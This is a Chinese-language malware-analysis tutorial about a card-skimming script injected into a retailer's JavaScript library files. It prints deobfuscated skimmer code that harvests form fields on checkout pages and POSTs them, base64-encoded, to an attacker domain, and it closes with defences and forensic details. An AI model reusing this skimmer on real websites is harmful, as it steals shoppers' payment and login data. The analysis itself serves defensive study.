逆向分析marveloptics.com上感染的JS恶意代码
字数 1898 2025-08-29 08:32:24

JavaScript恶意代码逆向分析教学文档

1. 恶意代码概述

这段恶意代码被发现注入在marveloptics.com网站的JavaScript库文件中,主要功能是窃取用户结账表单数据并发送到攻击者控制的服务器。

1.1 攻击特点

  • 注入位置:伪装成Modernizr和OpenID等常用库文件
  • 目标数据:网页表单中的输入数据(用户名、密码、支付信息等)
  • 数据发送目标:https://webfotce.me/js/form.js
  • 攻击者:与中国福建的"Wuxi Yilian LLC"公司有关联

2. 恶意代码注入技术

2.1 选择注入点

攻击者选择将恶意代码注入到以下类型的文件中:

  • modernizr.js
  • openid.js

选择这些文件的原因

  1. 这些库通常包含压缩过的代码,使混淆后的恶意代码更难被发现
  2. 开发者很少升级这些依赖库,恶意代码可以长期存在
  3. 这些库通常在所有页面加载,增加了攻击覆盖面

3. 代码反混淆技术

3.1 初始混淆状态

原始代码经过javascriptobfuscator.com等工具混淆,变量名被替换为无意义的字符串。

3.2 反混淆步骤

  1. 使用js-beautify工具进行基础格式化:
js-beautify -x -s 2 original/openid.js
  1. 手动分析并重命名变量,还原代码可读性

4. 恶意代码功能分析

4.1 主要功能模块

4.1.1 用户标识生成

myid: (function(cookieName) {
    // 检查cookie中的`setidd`字段
    var id = document.cookie.match(new RegExp("( + cookieName.replace(/(g, "\\$1") + "= ));
    return id ? decodeURIComponent(id[1]) : undefined;
})("setidd") || (function() {
    // 如果cookie不存在,生成新ID并保存到cookie
    var timestamp = new Date();
    var id = timestamp.getTime() + "-" + 
             Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
    var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000);
    document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
    return id;
})()

功能

  • 检查cookie中是否存在"setidd"字段
  • 如果不存在,生成唯一ID并存储在cookie中
  • ID格式:[时间戳]-[随机数](如1529853014535-289383517
  • cookie有效期为24小时

4.1.2 数据窃取功能

stealData: function() {
    Malware.data = null;
    var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
    for (var i = 0; i < elements.length; i++) {
        if (elements[i].value.length > 0) {
            var name = elements[i].name;
            if (name == "") { name = i };
            Malware.data += elements[i].name + "=" + elements[i].value + "&";
        }
    }
}

功能

  • 收集页面中所有input、select、textarea、checkbox和button元素的值
  • 格式化为name=value形式并用&连接
  • 存在bug:初始时data为null,拼接字符串会产生nullname=value&...

4.1.3 事件监听设置

// 为按钮添加点击事件监听
var elements = document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
for (var i = 0; i < elements.length; i++) {
    var element = elements[i];
    if (element.type != "text" && element.type != "select" && 
        element.type != "checkbox" && element.type != "password" && 
        element.type != "radio") {
        if (element.addEventListener) {
            element.addEventListener("click", Malware.stealData, false);
        } else {
            element.attachEvent("onclick", Malware.stealData);
        }
    }
};

// 为表单添加提交事件监听(存在bug)
var formElements = document.querySelectorAll("form");
for (vari = 0; i < formElements.length; i++) {
    if (formElements[i].addEventListener) {
        formElements[i].addEventListener("submit", Malware.stealData, false);
    } else {
        formElements[i].attachEvent("onsubmit", Malware.stealData);
    }
};

功能

  • 为页面中所有按钮和可点击元素添加点击事件监听,触发时执行数据收集
  • 为所有表单添加提交事件监听
  • 存在bug:vari拼写错误导致表单提交监听可能不工作

4.1.4 数据发送功能

if (Malware.data != null) {
    var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
    var data = btoa(Malware.data); // base64编码
    var xhr = new XMLHttpRequest();
    xhr.open("POST", Malware.url, true);
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
};

功能

  • 将收集的数据进行base64编码
  • 通过POST请求发送到攻击者服务器
  • 包含主机名(点替换为下划线)和用户ID
  • 每30毫秒尝试发送一次数据

4.2 执行入口

if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
    Malware.send();
}

触发条件

  • 只在URL包含"onepage"、"checkout"或"onestep"的页面执行
  • 主要针对结账页面

5. 攻击技术分析

5.1 持久性技术

  • 使用cookie存储用户ID,24小时有效期内可识别同一用户
  • 注入到常用库文件中,长期存在不被发现

5.2 数据收集技术

  • 广泛收集各种表单元素数据
  • 包含输入框、下拉菜单、复选框等多种表单元素

5.3 数据外传技术

  • 使用XMLHttpRequest发送数据
  • 数据经过base64编码
  • 发送到第三方域名webfotce.me

5.4 规避检测技术

  • 代码混淆增加分析难度
  • 只在特定页面触发减少暴露风险
  • 使用HTTPS协议传输数据

6. 代码中的缺陷

6.1 编程错误

  1. 字符串拼接时未初始化变量:

    Malware.data = null;
    Malware.data += elements[i].name + "=" + elements[i].value + "&";
    

    结果会产生nullname=value&...

  2. 变量名拼写错误:

    for (vari = 0; i < formElements.length; i++)
    

    应该是var i = 0

6.2 逻辑问题

  • 每30毫秒执行一次send(),性能影响大
  • 表单提交事件监听可能不工作

7. 防御措施

7.1 网站管理员防护

  1. 定期检查第三方库文件的完整性
  2. 使用Subresource Integrity (SRI)确保加载的脚本未被篡改
  3. 实施内容安全策略(CSP)限制外部连接
  4. 定期更新所有依赖库

7.2 开发者防护

  1. 使用代码签名验证脚本来源
  2. 监控异常的网络请求
  3. 实现输入验证和输出编码

7.3 用户防护

  1. 使用广告拦截器/隐私保护扩展
  2. 启用浏览器安全功能
  3. 注意浏览器警告提示

8. 取证信息

8.1 攻击者信息

  • 域名:webfotce.me
  • 注册商:Bizcn.com
  • 注册公司:中国福建"Wuxi Yilian LLC"
  • 创建时间:2016-10-28

8.2 攻击时间线

  • marveloptics.com在2017年1月至6月期间被感染
  • 至少持续了一年时间窃取客户信息

9. 总结

这段恶意代码展示了常见的表单劫持技术,虽然代码质量不高但足以造成危害。攻击者通过注入常用库文件实现长期潜伏,专门针对结账页面窃取敏感信息。防御此类攻击需要多层防护措施,包括代码完整性检查、网络请求监控和严格的内容安全策略。

JavaScript恶意代码逆向分析教学文档 1. 恶意代码概述 这段恶意代码被发现注入在marveloptics.com网站的JavaScript库文件中,主要功能是窃取用户结账表单数据并发送到攻击者控制的服务器。 1.1 攻击特点 注入位置:伪装成Modernizr和OpenID等常用库文件 目标数据:网页表单中的输入数据(用户名、密码、支付信息等) 数据发送目标: https://webfotce.me/js/form.js 攻击者:与中国福建的"Wuxi Yilian LLC"公司有关联 2. 恶意代码注入技术 2.1 选择注入点 攻击者选择将恶意代码注入到以下类型的文件中: modernizr.js openid.js 选择这些文件的原因 : 这些库通常包含压缩过的代码,使混淆后的恶意代码更难被发现 开发者很少升级这些依赖库,恶意代码可以长期存在 这些库通常在所有页面加载,增加了攻击覆盖面 3. 代码反混淆技术 3.1 初始混淆状态 原始代码经过javascriptobfuscator.com等工具混淆,变量名被替换为无意义的字符串。 3.2 反混淆步骤 使用js-beautify工具进行基础格式化: 手动分析并重命名变量,还原代码可读性 4. 恶意代码功能分析 4.1 主要功能模块 4.1.1 用户标识生成 功能 : 检查cookie中是否存在"setidd"字段 如果不存在,生成唯一ID并存储在cookie中 ID格式: [时间戳]-[随机数] (如 1529853014535-289383517 ) cookie有效期为24小时 4.1.2 数据窃取功能 功能 : 收集页面中所有input、select、textarea、checkbox和button元素的值 格式化为 name=value 形式并用 & 连接 存在bug:初始时 data 为null,拼接字符串会产生 nullname=value&... 4.1.3 事件监听设置 功能 : 为页面中所有按钮和可点击元素添加点击事件监听,触发时执行数据收集 为所有表单添加提交事件监听 存在bug: vari 拼写错误导致表单提交监听可能不工作 4.1.4 数据发送功能 功能 : 将收集的数据进行base64编码 通过POST请求发送到攻击者服务器 包含主机名(点替换为下划线)和用户ID 每30毫秒尝试发送一次数据 4.2 执行入口 触发条件 : 只在URL包含"onepage"、"checkout"或"onestep"的页面执行 主要针对结账页面 5. 攻击技术分析 5.1 持久性技术 使用cookie存储用户ID,24小时有效期内可识别同一用户 注入到常用库文件中,长期存在不被发现 5.2 数据收集技术 广泛收集各种表单元素数据 包含输入框、下拉菜单、复选框等多种表单元素 5.3 数据外传技术 使用XMLHttpRequest发送数据 数据经过base64编码 发送到第三方域名 webfotce.me 5.4 规避检测技术 代码混淆增加分析难度 只在特定页面触发减少暴露风险 使用HTTPS协议传输数据 6. 代码中的缺陷 6.1 编程错误 字符串拼接时未初始化变量: 结果会产生 nullname=value&... 变量名拼写错误: 应该是 var i = 0 6.2 逻辑问题 每30毫秒执行一次send(),性能影响大 表单提交事件监听可能不工作 7. 防御措施 7.1 网站管理员防护 定期检查第三方库文件的完整性 使用Subresource Integrity (SRI)确保加载的脚本未被篡改 实施内容安全策略(CSP)限制外部连接 定期更新所有依赖库 7.2 开发者防护 使用代码签名验证脚本来源 监控异常的网络请求 实现输入验证和输出编码 7.3 用户防护 使用广告拦截器/隐私保护扩展 启用浏览器安全功能 注意浏览器警告提示 8. 取证信息 8.1 攻击者信息 域名: webfotce.me 注册商:Bizcn.com 注册公司:中国福建"Wuxi Yilian LLC" 创建时间:2016-10-28 8.2 攻击时间线 marveloptics.com在2017年1月至6月期间被感染 至少持续了一年时间窃取客户信息 9. 总结 这段恶意代码展示了常见的表单劫持技术,虽然代码质量不高但足以造成危害。攻击者通过注入常用库文件实现长期潜伏,专门针对结账页面窃取敏感信息。防御此类攻击需要多层防护措施,包括代码完整性检查、网络请求监控和严格的内容安全策略。